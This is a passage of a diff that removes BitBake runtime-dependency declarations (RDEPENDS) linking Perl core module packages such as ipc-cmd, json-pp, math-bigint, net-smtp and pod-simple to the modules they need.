-RDEPENDS_perl-module-ipc-cmd += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-filehandle"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-io-handle"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-io-select"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-ipc-open3"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-load"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-params-check"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-posix"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-socket"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-strict"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-text-parsewords"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-time-hires"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-vars"
-RDEPENDS_perl-module-ipc-msg += "perl-module-class-struct"
-RDEPENDS_perl-module-ipc-msg += "perl-module-ipc-sysv"
-RDEPENDS_perl-module-ipc-msg += "perl-module-strict"
-RDEPENDS_perl-module-ipc-msg += "perl-module-vars"
-RDEPENDS_perl-module-ipc-open2 += "perl-module-exporter"
-RDEPENDS_perl-module-ipc-open2 += "perl-module-ipc-open3"
-RDEPENDS_perl-module-ipc-open2 += "perl-module-strict"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-constant"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-exporter"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-fcntl"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-io-pipe"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-posix"
-RDEPENDS_perl-module-ipc-open3 += "perl-module-strict"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-class-struct"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-ipc-sysv"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-strict"
-RDEPENDS_perl-module-ipc-semaphore += "perl-module-vars"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-class-struct"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-ipc-sysv"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-strict"
-RDEPENDS_perl-module-ipc-sharedmem += "perl-module-vars"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-config"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-dynaloader"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-exporter"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-strict"
-RDEPENDS_perl-module-ipc-sysv += "perl-module-vars"
-RDEPENDS_perl-module-json-pp-boolean += "perl-module-overload"
-RDEPENDS_perl-module-json-pp-boolean += "perl-module-strict"
-RDEPENDS_perl-module-json-pp += "perl-module-b"
-RDEPENDS_perl-module-json-pp += "perl-module-bytes"
-RDEPENDS_perl-module-json-pp += "perl-module-constant"
-RDEPENDS_perl-module-json-pp += "perl-module-encode"
-RDEPENDS_perl-module-json-pp += "perl-module-exporter"
-RDEPENDS_perl-module-json-pp += "perl-module-json-pp-boolean"
-RDEPENDS_perl-module-json-pp += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-json-pp += "perl-module-math-bigint"
-RDEPENDS_perl-module-json-pp += "perl-module-overload"
-RDEPENDS_perl-module-json-pp += "perl-module-strict"
-RDEPENDS_perl-module-json-pp += "perl-module-subs"
-RDEPENDS_perl-module-less += "perl-module-strict"
-RDEPENDS_perl-module-less += "perl-module-warnings"
-RDEPENDS_perl-module-lib += "perl-module-config"
-RDEPENDS_perl-module-lib += "perl-module-strict"
-RDEPENDS_perl-module-list-util += "perl-module-exporter"
-RDEPENDS_perl-module-list-util += "perl-module-strict"
-RDEPENDS_perl-module-list-util += "perl-module-warnings"
-RDEPENDS_perl-module-list-util += "perl-module-xsloader"
-RDEPENDS_perl-module-list-util-xs += "perl-module-list-util"
-RDEPENDS_perl-module-list-util-xs += "perl-module-strict"
-RDEPENDS_perl-module-list-util-xs += "perl-module-warnings"
-RDEPENDS_perl-module-loaded += "perl-module-strict"
-RDEPENDS_perl-module-loaded += "perl-module-vars"
-RDEPENDS_perl-module-load += "perl-module-config"
-RDEPENDS_perl-module-load += "perl-module-constant"
-RDEPENDS_perl-module-load += "perl-module-exporter"
-RDEPENDS_perl-module-load += "perl-module-filehandle"
-RDEPENDS_perl-module-load += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-load += "perl-module-corelist"
-RDEPENDS_perl-module-load += "perl-module-load"
-RDEPENDS_perl-module-load += "perl-module-params-check"
-RDEPENDS_perl-module-load += "perl-module-strict"
-RDEPENDS_perl-module-load += "perl-module-vars"
-RDEPENDS_perl-module-load += "perl-module-version"
-RDEPENDS_perl-module-load += "perl-module-warnings"
-RDEPENDS_perl-module-locale-maketext-gutsloader += "perl-module-locale-maketext"
-RDEPENDS_perl-module-locale-maketext-guts += "perl-module-locale-maketext"
-RDEPENDS_perl-module-locale-maketext += "perl-module-i18n-langtags"
-RDEPENDS_perl-module-locale-maketext += "perl-module-i18n-langtags-detect"
-RDEPENDS_perl-module-locale-maketext += "perl-module-integer"
-RDEPENDS_perl-module-locale-maketext += "perl-module-strict"
-RDEPENDS_perl-module-locale-maketext-simple += "perl-module-base"
-RDEPENDS_perl-module-locale-maketext-simple += "perl-module-strict"
-RDEPENDS_perl-module-locale += "perl-module-config"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-math-bigint"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-math-complex"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-overload"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-strict"
-RDEPENDS_perl-module-math-bigfloat += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-overload"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-strict"
-RDEPENDS_perl-module-math-bigfloat-trace += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-constant"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-integer"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-math-bigint-lib"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-calc += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-math-bigint-calc"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-fastcalc += "perl-module-xsloader"
-RDEPENDS_perl-module-math-bigint-lib += "perl-module-overload"
-RDEPENDS_perl-module-math-bigint-lib += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-lib += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigint += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-math-bigint += "perl-module-math-complex"
-RDEPENDS_perl-module-math-bigint += "perl-module-overload"
-RDEPENDS_perl-module-math-bigint += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-exporter"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-math-bigint"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-overload"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-strict"
-RDEPENDS_perl-module-math-bigint-trace += "perl-module-warnings"
-RDEPENDS_perl-module-math-bigrat += "perl-module-math-bigfloat"
-RDEPENDS_perl-module-math-bigrat += "perl-module-math-bigint"
-RDEPENDS_perl-module-math-bigrat += "perl-module-overload"
-RDEPENDS_perl-module-math-bigrat += "perl-module-strict"
-RDEPENDS_perl-module-math-bigrat += "perl-module-warnings"
-RDEPENDS_perl-module-math-complex += "perl-module-config"
-RDEPENDS_perl-module-math-complex += "perl-module-exporter"
-RDEPENDS_perl-module-math-complex += "perl-module-overload"
-RDEPENDS_perl-module-math-complex += "perl-module-strict"
-RDEPENDS_perl-module-math-complex += "perl-module-warnings"
-RDEPENDS_perl-module-math-trig += "perl-module-exporter"
-RDEPENDS_perl-module-math-trig += "perl-module-math-complex"
-RDEPENDS_perl-module-math-trig += "perl-module-strict"
-RDEPENDS_perl-module-memoize-anydbm-file += "perl-module-vars"
-RDEPENDS_perl-module-memoize += "perl-module-config"
-RDEPENDS_perl-module-memoize += "perl-module-exporter"
-RDEPENDS_perl-module-memoize += "perl-module-strict"
-RDEPENDS_perl-module-memoize += "perl-module-vars"
-RDEPENDS_perl-module-memoize-sdbm-file += "perl-module-sdbm-file"
-RDEPENDS_perl-module-memoize-storable += "perl-module-storable"
-RDEPENDS_perl-module-mime-base64 += "perl-module-exporter"
-RDEPENDS_perl-module-mime-base64 += "perl-module-strict"
-RDEPENDS_perl-module-mime-base64 += "perl-module-vars"
-RDEPENDS_perl-module-mime-base64 += "perl-module-xsloader"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-exporter"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-mime-base64"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-strict"
-RDEPENDS_perl-module-mime-quotedprint += "perl-module-vars"
-RDEPENDS_perl-module-mro += "perl-module-strict"
-RDEPENDS_perl-module-mro += "perl-module-warnings"
-RDEPENDS_perl-module-mro += "perl-module-xsloader"
-RDEPENDS_perl-module-net-cmd += "perl-module-constant"
-RDEPENDS_perl-module-net-cmd += "perl-module-errno"
-RDEPENDS_perl-module-net-cmd += "perl-module-exporter"
-RDEPENDS_perl-module-net-cmd += "perl-module-strict"
-RDEPENDS_perl-module-net-cmd += "perl-module-warnings"
-RDEPENDS_perl-module-net-config += "perl-module-exporter"
-RDEPENDS_perl-module-net-config += "perl-module-socket"
-RDEPENDS_perl-module-net-config += "perl-module-strict"
-RDEPENDS_perl-module-net-config += "perl-module-warnings"
-RDEPENDS_perl-module-net-domain += "perl-module-exporter"
-RDEPENDS_perl-module-net-domain += "perl-module-net-config"
-RDEPENDS_perl-module-net-domain += "perl-module-posix"
-RDEPENDS_perl-module-net-domain += "perl-module-socket"
-RDEPENDS_perl-module-net-domain += "perl-module-strict"
-RDEPENDS_perl-module-net-domain += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-a += "perl-module-net-ftp-dataconn"
-RDEPENDS_perl-module-net-ftp-a += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-a += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-errno"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-dataconn += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-e += "perl-module-net-ftp-i"
-RDEPENDS_perl-module-net-ftp-e += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-e += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-i += "perl-module-net-ftp-dataconn"
-RDEPENDS_perl-module-net-ftp-i += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-i += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp-l += "perl-module-net-ftp-i"
-RDEPENDS_perl-module-net-ftp-l += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp-l += "perl-module-warnings"
-RDEPENDS_perl-module-net-ftp += "perl-module-constant"
-RDEPENDS_perl-module-net-ftp += "perl-module-fcntl"
-RDEPENDS_perl-module-net-ftp += "perl-module-file-basename"
-RDEPENDS_perl-module-net-ftp += "perl-module-io-socket"
-RDEPENDS_perl-module-net-ftp += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-config"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-ftp-a"
-RDEPENDS_perl-module-net-ftp += "perl-module-net-netrc"
-RDEPENDS_perl-module-net-ftp += "perl-module-socket"
-RDEPENDS_perl-module-net-ftp += "perl-module-strict"
-RDEPENDS_perl-module-net-ftp += "perl-module-time-local"
-RDEPENDS_perl-module-net-ftp += "perl-module-warnings"
-RDEPENDS_perl-module-net-hostent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-hostent += "perl-module-exporter"
-RDEPENDS_perl-module-net-hostent += "perl-module-socket"
-RDEPENDS_perl-module-net-hostent += "perl-module-strict"
-RDEPENDS_perl-module-net-netent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-netent += "perl-module-exporter"
-RDEPENDS_perl-module-net-netent += "perl-module-socket"
-RDEPENDS_perl-module-net-netent += "perl-module-strict"
-RDEPENDS_perl-module-net-netrc += "perl-module-filehandle"
-RDEPENDS_perl-module-net-netrc += "perl-module-strict"
-RDEPENDS_perl-module-net-netrc += "perl-module-warnings"
-RDEPENDS_perl-module-net-nntp += "perl-module-io-socket"
-RDEPENDS_perl-module-net-nntp += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-nntp += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-nntp += "perl-module-net-config"
-RDEPENDS_perl-module-net-nntp += "perl-module-strict"
-RDEPENDS_perl-module-net-nntp += "perl-module-time-local"
-RDEPENDS_perl-module-net-nntp += "perl-module-warnings"
-RDEPENDS_perl-module-net-ping += "perl-module-constant"
-RDEPENDS_perl-module-net-ping += "perl-module-exporter"
-RDEPENDS_perl-module-net-ping += "perl-module-fcntl"
-RDEPENDS_perl-module-net-ping += "perl-module-filehandle"
-RDEPENDS_perl-module-net-ping += "perl-module-io-socket-inet"
-RDEPENDS_perl-module-net-ping += "perl-module-posix"
-RDEPENDS_perl-module-net-ping += "perl-module-socket"
-RDEPENDS_perl-module-net-ping += "perl-module-strict"
-RDEPENDS_perl-module-net-ping += "perl-module-time-hires"
-RDEPENDS_perl-module-net-pop3 += "perl-module-io-socket"
-RDEPENDS_perl-module-net-pop3 += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-pop3 += "perl-module-mime-base64"
-RDEPENDS_perl-module-net-pop3 += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-pop3 += "perl-module-net-config"
-RDEPENDS_perl-module-net-pop3 += "perl-module-net-netrc"
-RDEPENDS_perl-module-net-pop3 += "perl-module-strict"
-RDEPENDS_perl-module-net-pop3 += "perl-module-warnings"
-RDEPENDS_perl-module-net-protoent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-protoent += "perl-module-exporter"
-RDEPENDS_perl-module-net-protoent += "perl-module-strict"
-RDEPENDS_perl-module-net-servent += "perl-module-class-struct"
-RDEPENDS_perl-module-net-servent += "perl-module-exporter"
-RDEPENDS_perl-module-net-servent += "perl-module-strict"
-RDEPENDS_perl-module-net-smtp += "perl-module-io-socket"
-RDEPENDS_perl-module-net-smtp += "perl-module-io-socket-ip"
-RDEPENDS_perl-module-net-smtp += "perl-module-mime-base64"
-RDEPENDS_perl-module-net-smtp += "perl-module-net-cmd"
-RDEPENDS_perl-module-net-smtp += "perl-module-net-config"
-RDEPENDS_perl-module-net-smtp += "perl-module-socket"
-RDEPENDS_perl-module-net-smtp += "perl-module-strict"
-RDEPENDS_perl-module-net-smtp += "perl-module-warnings"
-RDEPENDS_perl-module-net-time += "perl-module-exporter"
-RDEPENDS_perl-module-net-time += "perl-module-io-select"
-RDEPENDS_perl-module-net-time += "perl-module-io-socket"
-RDEPENDS_perl-module-net-time += "perl-module-net-config"
-RDEPENDS_perl-module-net-time += "perl-module-strict"
-RDEPENDS_perl-module-net-time += "perl-module-warnings"
-RDEPENDS_perl-module-next += "perl-module-overload"
-RDEPENDS_perl-module-next += "perl-module-strict"
-RDEPENDS_perl-module-next += "perl-module-warnings"
-RDEPENDS_perl-module-ok += "perl-module-strict"
-RDEPENDS_perl-module-ok += "perl-module-test-more"
-RDEPENDS_perl-module-opcode += "perl-module-exporter"
-RDEPENDS_perl-module-opcode += "perl-module-strict"
-RDEPENDS_perl-module-opcode += "perl-module-subs"
-RDEPENDS_perl-module-opcode += "perl-module-xsloader"
-RDEPENDS_perl-module-open += "perl-module-encode"
-RDEPENDS_perl-module-open += "perl-module-encoding"
-RDEPENDS_perl-module-open += "perl-module-warnings"
-RDEPENDS_perl-module-o += "perl-module-b"
-RDEPENDS_perl-module-ops += "perl-module-opcode"
-RDEPENDS_perl-module-overloading += "perl-module-overload-numbers"
-RDEPENDS_perl-module-overloading += "perl-module-warnings"
-RDEPENDS_perl-module-overload += "perl-module-mro"
-RDEPENDS_perl-module-overload += "perl-module-warnings-register"
-RDEPENDS_perl-module-params-check += "perl-module-exporter"
-RDEPENDS_perl-module-params-check += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-params-check += "perl-module-strict"
-RDEPENDS_perl-module-params-check += "perl-module-vars"
-RDEPENDS_perl-module-parent += "perl-module-strict"
-RDEPENDS_perl-module-perlfaq += "perl-module-strict"
-RDEPENDS_perl-module-perlfaq += "perl-module-warnings"
-RDEPENDS_perl-module-perlio-encoding += "perl-module-strict"
-RDEPENDS_perl-module-perlio-encoding += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-mmap += "perl-module-strict"
-RDEPENDS_perl-module-perlio-mmap += "perl-module-warnings"
-RDEPENDS_perl-module-perlio-mmap += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-scalar += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-via += "perl-module-xsloader"
-RDEPENDS_perl-module-perlio-via-quotedprint += "perl-module-mime-quotedprint"
-RDEPENDS_perl-module-perlio-via-quotedprint += "perl-module-strict"
-RDEPENDS_perl-module-pod-checker += "perl-module-base"
-RDEPENDS_perl-module-pod-checker += "perl-module-exporter"
-RDEPENDS_perl-module-pod-checker += "perl-module-strict"
-RDEPENDS_perl-module-pod-checker += "perl-module-warnings"
-RDEPENDS_perl-module-pod-escapes += "perl-module-exporter"
-RDEPENDS_perl-module-pod-escapes += "perl-module-strict"
-RDEPENDS_perl-module-pod-escapes += "perl-module-vars"
-RDEPENDS_perl-module-pod-escapes += "perl-module-warnings"
-RDEPENDS_perl-module-pod-functions += "perl-module-exporter"
-RDEPENDS_perl-module-pod-functions += "perl-module-strict"
-RDEPENDS_perl-module-pod-man += "perl-module-file-basename"
-RDEPENDS_perl-module-pod-man += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-man += "perl-module-strict"
-RDEPENDS_perl-module-pod-man += "perl-module-subs"
-RDEPENDS_perl-module-pod-man += "perl-module-vars"
-RDEPENDS_perl-module-pod-man += "perl-module-warnings"
-RDEPENDS_perl-module-pod-parselink += "perl-module-exporter"
-RDEPENDS_perl-module-pod-parselink += "perl-module-strict"
-RDEPENDS_perl-module-pod-parselink += "perl-module-vars"
-RDEPENDS_perl-module-pod-parselink += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-config"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-baseto += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-getoptsoo += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-getoptsoo += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-config"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-encode"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-fcntl"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-file-basename"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-file-temp"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-pod-perldoc-getoptsoo"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-text-parsewords"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-pod-text-color"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toansi += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-pod-checker"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-tochecker += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-encode"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-io-handle"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-io-select"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-ipc-open3"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-pod-man"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-pod-perldoc-topod"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toman += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-pod-man"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-tonroff += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-topod += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-tortf += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-pod-text-termcap"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toterm += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-pod-text"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-totext += "perl-module-warnings"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-parent"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-strict"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-vars"
-RDEPENDS_perl-module-pod-perldoc-toxml += "perl-module-warnings"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-if"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-integer"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-pod-simple-transcode"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-blackbox += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-pod-simple-methody"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-text-wrap"
-RDEPENDS_perl-module-pod-simple-checker += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-debug += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-debug += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-debug += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-dumpastext += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-dumpastext += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-dumpasxml += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-dumpasxml += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-dumpasxml += "perl-module-text-wrap"
-RDEPENDS_perl-module-pod-simple-justpod += "perl-module-pod-simple-methody"
-RDEPENDS_perl-module-pod-simple-justpod += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-justpod += "perl-module-warnings"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-overload"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-pod-simple-blackbox"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-linksection += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-methody += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-methody += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-methody += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple += "perl-module-integer"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-escapes"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-simple-blackbox"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-simple-linksection"
-RDEPENDS_perl-module-pod-simple += "perl-module-pod-simple-tiedoutfh"
-RDEPENDS_perl-module-pod-simple += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-progress += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserendtoken += "perl-module-pod-simple-pullparsertoken"
-RDEPENDS_perl-module-pod-simple-pullparserendtoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserendtoken += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparserendtoken"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparserstarttoken"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-pod-simple-pullparsertexttoken"
-RDEPENDS_perl-module-pod-simple-pullparser += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserstarttoken += "perl-module-pod-simple-pullparsertoken"
-RDEPENDS_perl-module-pod-simple-pullparserstarttoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparserstarttoken += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-pullparsertexttoken += "perl-module-pod-simple-pullparsertoken"
-RDEPENDS_perl-module-pod-simple-pullparsertexttoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-pullparsertexttoken += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-pullparsertoken += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-if"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-integer"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-pod-simple-pullparser"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-rtf += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-config"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-cwd"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-file-basename"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-search += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-simpletree += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-simpletree += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-simpletree += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-textcontent += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-textcontent += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-textcontent += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-pod-simple-methody"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-text-wrap"
-RDEPENDS_perl-module-pod-simple-text += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-tiedoutfh += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-tiedoutfh += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-transcodedumb += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-transcodedumb += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-transcode += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-transcode += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-encode"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-pod-simple"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-strict"
-RDEPENDS_perl-module-pod-simple-transcodesmart += "perl-module-vars"
-RDEPENDS_perl-module-pod-simple-xmloutstream += "perl-module-pod-simple"
